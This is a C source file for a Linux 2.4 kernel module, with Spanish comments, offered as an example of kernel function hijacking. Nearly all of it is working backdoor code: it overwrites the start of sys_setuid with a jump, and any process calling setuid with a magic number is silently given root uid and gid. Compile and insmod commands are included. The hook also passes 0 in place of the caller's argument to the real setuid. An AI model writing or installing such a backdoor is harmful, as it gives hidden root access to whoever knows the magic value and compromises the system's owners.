/*****************************************************************************
*
*	autor: Daniel Lerch
*	url: http://daniellerch.com
*
******************************************************************************
*
*	--> Ejemplo de hijacking de funciones: (Linux 2.4)
*
*	Este programa realiza hijacking de la función setuid().
*	En caso de que se realize la llamada al sistema setuid() con un pid MAGIC,
*	se obtendrán privilegios de root.
*
*	El ejemplo está basado en el documento "Kernel function hijacking" de 
*	Silvio Cesare (1999).
*	http://www.l0t3k.org/biblio/kernel/english/kernel-hijack.txt
*	
*
******************************************************************************
*
*	Compilación:
*	$gcc -c hijacking_setuid.c -I /usr/src/linux-2.4/include/ \
*  -DSETUID_ADDR=0x`cat /boot/System.map | grep -w sys_setuid | cut -c 0-8`
*
*	Instalar el módulo:
*	$/sbin/insmod hijacking_setuid.o
*
******************************************************************************/


#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <asm/unistd.h>

#define MAGIC 1234567

MODULE_LICENSE("GPL");


/* Crea la función setuid() con la dirección sacada de System.map */
int (*setuid)(unsigned int) = (int (*)(unsigned int))SETUID_ADDR;

/* Siete primeros bytes de la función "setuid()" */
static char original_setuid[7];

/* Siete bytes de salto a nuestra llamada "_setuid()" */
static char modified_setuid[7] = "\xb8\x00\x00\x00\x00"  /* movl   $0,%eax */
                                 "\xff\xe0"     			/* jmp    *%eax   */;


/* memcpy() */
void *_memcpy(void *dest, const void *src, int size)
{
   const char *p = src;
   char *q = dest;
   int i;
                                                                                
   for (i = 0; i < size; i++) *q++ = *p++;
                                                                                
   return dest;
}

/* Llama a setuid() y alguna cosa más */
int _setuid (unsigned int pid) {

 	/* Obtiene privilegios de root */
	if (pid == MAGIC) {

	   current->uid = 0;
   	current->euid = 0;
	   current->gid = 0;
   	current->egid = 0;
	}
                                      
	/* Llama a setuid() */                                         
   _memcpy(setuid, original_setuid, 7);
   int ret = setuid(0);
   _memcpy(setuid, modified_setuid, 7);
   return ret;
}



/* Init */
int init_module() {

	/* 
    *	Introduce un salto en los siete primeros bytes de "setuid()" y
	 * Guarda los datos antiguos.
    */
	*(long *)&modified_setuid[1] = (long)_setuid;
   _memcpy(original_setuid, setuid, 7);
   _memcpy(setuid, modified_setuid, 7);

    return 0;
}
	
/* cleanup */
void cleanup_module() {

	/* Deja los datos originales */
   _memcpy(setuid, original_setuid, 7);
}


